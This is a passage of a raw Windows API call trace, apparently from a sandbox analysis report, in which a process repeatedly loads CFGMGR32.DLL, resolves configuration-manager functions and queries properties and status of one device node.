lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x55a9cbd3, dwHighDateTime=0x1d9eb0c)) [0195.966] SetEvent (hEvent=0x248) returned 1 [0195.968] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.968] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.969] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.971] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0195.971] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0195.971] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0195.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x55a9cbd3, dwHighDateTime=0x1d9eb0c)) [0195.972] SetEvent (hEvent=0x248) returned 1 [0195.974] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.974] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.977] malloc (_Size=0x18) returned 0x196ef0d1f40 [0195.977] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0195.977] malloc (_Size=0x48) returned 0x196ef0fb720 [0195.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55a9cbd3, dwHighDateTime=0x1d9eb0c)) [0195.977] SetEvent (hEvent=0x248) returned 1 [0195.979] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.979] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.983] malloc (_Size=0x18) returned 0x196ef0d1e20 [0195.983] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0195.983] malloc (_Size=0x48) returned 0x196ef0fb720 [0195.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55ac3336, dwHighDateTime=0x1d9eb0c)) [0195.983] SetEvent (hEvent=0x248) returned 1 [0195.985] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.985] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.988] malloc (_Size=0x18) returned 0x196ef0d1d40 [0195.989] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0195.989] malloc (_Size=0x48) returned 0x196ef0fc120 [0195.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55ac3336, dwHighDateTime=0x1d9eb0c)) [0195.989] SetEvent (hEvent=0x248) returned 1 [0195.992] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.992] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.995] malloc (_Size=0x18) returned 0x196ef0d19e0 [0195.996] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0195.997] malloc (_Size=0x48) returned 0x196ef0fb770 [0195.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55ae93fe, dwHighDateTime=0x1d9eb0c)) [0195.997] SetEvent (hEvent=0x248) returned 1 [0196.189] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.189] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.192] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0196.192] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0196.193] malloc (_Size=0x48) returned 0x196ef0fba40 [0196.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55cb31ea, dwHighDateTime=0x1d9eb0c)) [0196.193] SetEvent (hEvent=0x248) returned 1 [0196.196] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.196] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.200] malloc (_Size=0x18) returned 0x196ef0d19a0 [0196.200] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x6, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0196.200] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0196.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x55cd9357, dwHighDateTime=0x1d9eb0c)) [0196.200] SetEvent (hEvent=0x248) returned 1 [0196.205] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.205] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0196.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0196.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0196.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0196.208] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0196.208] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x6, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0196.208] malloc (_Size=0x48) returned 0x196ef0fbe50 [0196.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x55cd9357, dwHighDateTime=0x1d9eb0c)) [0196.208] SetEvent (hEvent=0x248) returned 1 [0196.211] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0196.211] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0196.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0196.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0196.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0196.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0196.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0196.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0196.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0196.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0196.213] GetProcAddress 